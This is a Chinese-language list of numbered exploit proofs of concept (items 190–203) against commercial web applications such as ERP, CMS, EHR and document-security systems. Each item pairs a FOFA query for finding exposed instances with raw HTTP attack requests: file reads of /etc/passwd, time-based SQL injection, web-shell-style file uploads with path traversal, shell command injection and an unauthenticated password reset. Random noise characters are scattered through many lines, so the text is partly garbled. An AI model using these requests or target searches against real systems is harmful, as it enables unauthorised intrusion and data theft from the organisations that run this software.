% C  x/ \9 ?6 o- V2 _User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
/ ^0 l* |& Y+ d7 L$ ]Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
* A: h1 R# {: e. C! {) UAccept-Encoding: gzip, deflate
7 r9 b3 H' H, R1 {1 s. E- m2 {# aAccept-Language: zh-CN,zh;q=0.9
1 P, E: ^9 N2 Q- H) v, K2 p. CConnection: close
& Y; r' ]# ]! z) }  ]

190. 短视频矩阵营销系统 poihuoqu 任意文件读取
FOFA：title=="短视频矩阵营销系统"
3 L2 D. y3 l9 ^. C- |POST /index.php/admin/Userinfo/poihuoqu HTTP/2
Host: your-ip
+ T# d$ x4 f& Q1 U( FUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
: m: I# G) t* [Content-Type: application/x-www-form-urlencoded
. R3 ?! h1 T0 U. ?9 O! nAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

& W3 B$ z9 w6 Ypoi=file:///etc/passwd


191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
+ d( y: B) L7 nFOFA：body="/CDGServer3/index.jsp"
POST /CDGServer3/js/../NavigationAjax HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
3 n2 T$ h( X1 U4 oContent-Type: application/x-www-form-urlencoded

command=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=
  l. t( N$ v8 c) ]

192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
FOFA：title="用户登录_富通天下外贸ERP"
- n+ z' {* h# H3 e* q" {+ V, `POST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
9 i1 E+ N/ T) G8 C: `Host: your-ip
0 F" {; _0 W( w9 D3 o$ TUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/x-www-form-urlencoded
% D9 A, _! {- R3 r

<% @ webhandler language="C#" class="AverageHandler" %>
8 p( H. U/ l4 S5 @$ u8 L: b3 Jusing System;
- A. X9 y8 h4 D$ q# ^' jusing System.Web;
public class AverageHandler : IHttpHandler
; G1 d- `+ p; m! o* O  W: X{
% }0 F3 _/ r+ Y1 I, `+ S# C4 epublic bool IsReusable
{ get { return true; } }
: g1 J3 g$ b& M( G8 V8 t( kpublic void ProcessRequest(HttpContext ctx)
{
, V: j5 n) Q2 W- P0 ?- t' o/ ^ctx.Response.Write("test");
}
}
" a$ _6 `) [0 |2 I+ u4 T3 Y
  Y" O7 N2 Q* y
193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
2 Z. \0 Y; I8 j  a5 eFOFA：body="山石云鉴主机安全管理系统"
GET /master/ajaxActions/getTokenAction.php HTTP/1.1
Host:
1 N) }# L2 j/ m. gCookie: PHPSESSID=2333333333333;
! ?5 q$ g: g. [& K- C$ `Content-Type: application/x-www-form-urlencoded
( p( X; n) B/ U% J* q3 p7 j$ T" qUser-Agent: Mozilla/5.0

  q( a2 v8 r$ U* `3 ^
8 `" C: y6 K, d! ?4 N& iPOST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
Host:
7 |, m, W$ ?' c  N; }* r/ y, }  oUser-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
8 Y" g% v7 }+ e: N9 [Accept: */*
Connection: close
5 H! Y. L0 ], F& d# JCookie: PHPSESSID=2333333333333;
' x/ [% k# w. A9 l' N  f7 qContent-Type: application/x-www-form-urlencoded
Content-Length: 84
% L( j, F( F" Q. ?$ K, n7 [
* N3 `& u0 \6 X- G+ D: kparam=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')
% @; i3 n( r, h3 D: `1 o0 l2 L7 t
  ]2 d' H; L% J% F" f& W3 g* d
/ C* _' q9 l# ?) SGET /master/img/config HTTP/1.1
* \9 X. a: l2 Z% ]+ eHost:
User-Agent: Mozilla/5.0


9 m) G8 N  {+ ?  {; X194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
- D. r% P0 r5 G: k' T2 XFOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在

POST /servlet/uploadAttachmentServlet HTTP/1.1
Host: host
  I1 O4 O: [+ p2 `User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
' j9 R+ P2 B1 NAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
, _6 Q9 L4 |& hAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
4 P$ {0 o2 [! I6 ?  mConnection: close
8 {/ B1 N& T( [( H0 {Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
+ n4 ?; `1 E$ L  |; D2 f) p------WebKitFormBoundaryKNt0t4vBe8cX9rZk

Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
Content-Type: text/plain
<% out.println("hello");%>
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Disposition: form-data; name="json"
+ F3 q- K( D9 Q3 o1 B, T {"iq":{"query":{"UpdateType":"mail"}}}
% b" J7 D  t( I* `) F------WebKitFormBoundaryKNt0t4vBe8cX9rZk--

. V2 B& O" R2 e5 d! u: F) _7 K
195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
FOFA：title=="飞鱼星企业级智能上网行为管理系统
& q# `/ L, P; u1 O* BPOST /send_order.cgi?parameter=operation HTTP/1.1
  k; f* L( ]3 X3 U9 V, kHost: 127.0.0.1
4 U5 y/ c9 U2 U$ ]8 l( l  u1 i& iPragma: no-cache
5 K  Y9 P  T1 iCache-Control: no-cache
2 {$ Y5 x: n2 v/ {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
' T$ A8 ^" j0 W4 m/ q- |$ p0 vAccept: */*
- j/ B. X6 P$ F8 b8 _/ HAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
1 _7 k, Y3 `. G" K9 KContent-Type: application/x-www-form-urlencoded
Content-Length: 68

{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}


% [' L7 O/ y  w! _196. 河南省风速科技统一认证平台密码重置
FOFA：body="/cas/themes/zbvc/js/jquery.min.js"
: d+ ~" V5 Q3 K' fPOST /cas/userCtl/resetPasswordBySuper HTTP/1.1
: F7 f- I1 U1 z% Q; K. H6 XUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/json;charset=UTF-8
- H$ f1 ]7 V3 yX-Requested-With: XMLHttpRequest
4 i  Z7 o6 b. g% ]7 ^Host:
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
$ D( B5 j) N- ~3 H) UContent-Length: 45
5 F4 @: k1 `2 b/ c: m7 OConnection: close
  L0 a- M4 y- q0 y
{"xgh":"test","newPass":"test666","email":""}
4 B9 @0 T; e; L& }% i" n


* I. O; H9 V! l! I. e0 Q' i5 Y197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
FOFA：app="浙大恩特客户资源管理系统"
) {) w) k0 W, E3 I) ^  `GET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
) Q0 f# u0 U. E. A; j9 [Host:
6 `) F  N3 W0 x6 @User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
Accept-Encoding: gzip, deflate
Connection: close
4 e  J" T* n9 u  c5 w) L
3 D% n. g3 Q. F, `* O3 a

( I( R" G% i$ b% K  B198.  阿里云盘 WebDAV 命令注入
CVE-2024-29640
GET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
Cookie: sysauth=41273cb2cffef0bb5d0653592624cf64
Accept: */*
0 ^5 C. c; E8 C8 _" c) N8 oAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
  [' r% L, T% x
0 h/ f6 l6 S# T9 i# q+ _3 m
199. cockpit系统assetsmanager_upload接口 文件上传
& b4 }- n; g7 H  ]- A
1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
- Z+ M/ B6 J; }! p0 T4 K7 ZGET /auth/login?to=/ HTTP/1.1
' ~. M# C! g* }6 h, }& c
响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"

1 S+ S9 }6 e! w# F( j2.使用刚才上一步获取到的jwt获取cookie：

1 Y6 u, \7 z0 T/ F( f0 VPOST /auth/check HTTP/1.1
2 E. i7 c- {: h/ Y. h6 _Content-Type: application/json

{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}
0 `3 q% r) J8 j
- z- n% H/ e4 |9 O响应：200，返回值:
Set-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
. c7 T; I0 B1 K% \3 H/ _' VFofa：title="Authenticate Please!"
POST /assetsmanager/upload HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
Cookie: mysession=95524f01e238bf51bb60d77ede3bea92

-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="files[]"; filename="tttt.php"
Content-Type: text/php
( o" _5 Z8 g3 q( d( i: `
<?php echo "tttt";unlink(__FILE__);?>
7 U/ i/ p9 j+ `$ l-----------------------------36D28FBc36bd6feE7Fb3
& B8 C% V3 m) L% ^5 b$ ]' L* a% [Content-Disposition: form-data; name="folder"
" U  k& y3 ?. Y. z& n
-----------------------------36D28FBc36bd6feE7Fb3--
: N" K; k. ]$ a9 ]* k- K
& W, L$ U% s" A4 a: d7 k2 Z1 p
% I0 F' B3 O: _1 U* Y& I. c4 H/storage/uploads/tttt.php

( g' {9 a/ S; a# O3 m* |200. SeaCMS海洋影视管理系统dmku SQL注入
FOFA：app="海洋CMS"
$ W) h' g  q3 J1 H# }# `& _2 NGET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
# q9 \0 _: `, H% ?3 P) xCookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
% q( ]! R" Q3 J& Y$ jUpgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
  Q" f" c+ [% ^0 X5 X/ h! [: sAccept-Language: zh-CN,zh;q=0.9
; I1 [, _3 \3 A
- {' J1 e- Y3 d
201. 方正全媒体新闻采编系统 binary SQL注入
FOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
POST /newsedit/newsplan/task/binary.do HTTP/1.1
2 a; ]5 ]5 |8 w2 ^Content-Type: application/x-www-form-urlencoded
; p: y5 b& }1 {5 ~, l) S- j1 y5 TAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
" R% M8 o  V5 L, E% C
5 [) }) Y+ u2 M! Z8 BTableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1
1 P% ^( B4 q1 U- B# K

, |- v9 G0 o9 Z5 l3 o$ K2 d202. 微擎系统 AccountEdit任意文件上传
* a7 ~7 ]/ b5 H, XFOFA：body="/Widgets/WidgetCollection/"
获取__VIEWSTATE和__EVENTVALIDATION值
' s2 s& z% `1 H) q& i- }( ZGET /User/AccountEdit.aspx HTTP/1.1
Host: 滑板人之家
  a( @$ Q3 O0 v3 R* b+ gUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
Content-Length: 0
+ E1 n- \1 w* U+ |- j: {, m

替换__VIEWSTATE和__EVENTVALIDATION值
2 E2 m% F% L3 _+ d9 TPOST /User/AccountEdit.aspx HTTP/1.1
Accept-Encoding: gzip, deflate, br
& H- O4 I" P* [( B7 I* Q6 I6 LContent-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687
2 n/ d/ B! n0 G! _, h! \
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__VIEWSTATE"
3 S/ o+ _1 O2 z- x( Q
2 I5 S! z! Q# P% i__VIEWSTATE
( r9 S0 ^+ a6 S% F6 |- R-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__EVENTVALIDATION"

. d, f- E5 O  ]( [' \__EVENTVALIDATION
-----------------------------786435874t38587593865736587346567358735687
. }% j7 f& y! {$ i1 g5 P) dContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
Content-Type: text/plain
+ v+ G6 s3 @  m+ u
  B5 J& f$ N8 d- j6 Q0 q+ CHello World!
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"

上传图片
1 n) c' e' A$ H$ S3 I2 `# A7 o-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"


3 V+ I* b$ E2 u( I( T  G8 _-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"

) \" Z/ f8 I; v! J
-----------------------------786435874t38587593865736587346567358735687--
1 Q! e! i  Q9 R/ i6 r

/_data/Uploads/1123.txt
& `6 M# l0 y+ b8 _/ z
203. 红海云EHR PtFjk 文件上传
6 R9 V1 z5 n9 Z0 F. {) {$ aFOFA：body="RedseaPlatform"
) I9 [$ e2 s$ h& P5 ]5 \POST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
Host: x.x.x.x
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Length: 210

; F" r5 |4 j, t+ E------WebKitFormBoundaryt7WbDl1tXogoZys4
( n% s7 s: c4 I3 e0 x0 GContent-Disposition: form-data; name="fj_file"; filename="11.jsp"
Content-Type:image/jpeg
( U5 ~$ o: H/ K6 V
<% out.print("hello,eHR");%>
------WebKitFormBoundaryt7WbDl1tXogoZys4--

* d5 H4 P1 Y) O  L
7 J! G$ U  S, X6 x& k0 z' W9 P



% z$ e7 D0 V8 I4 _4 U* |- w" G. \9 P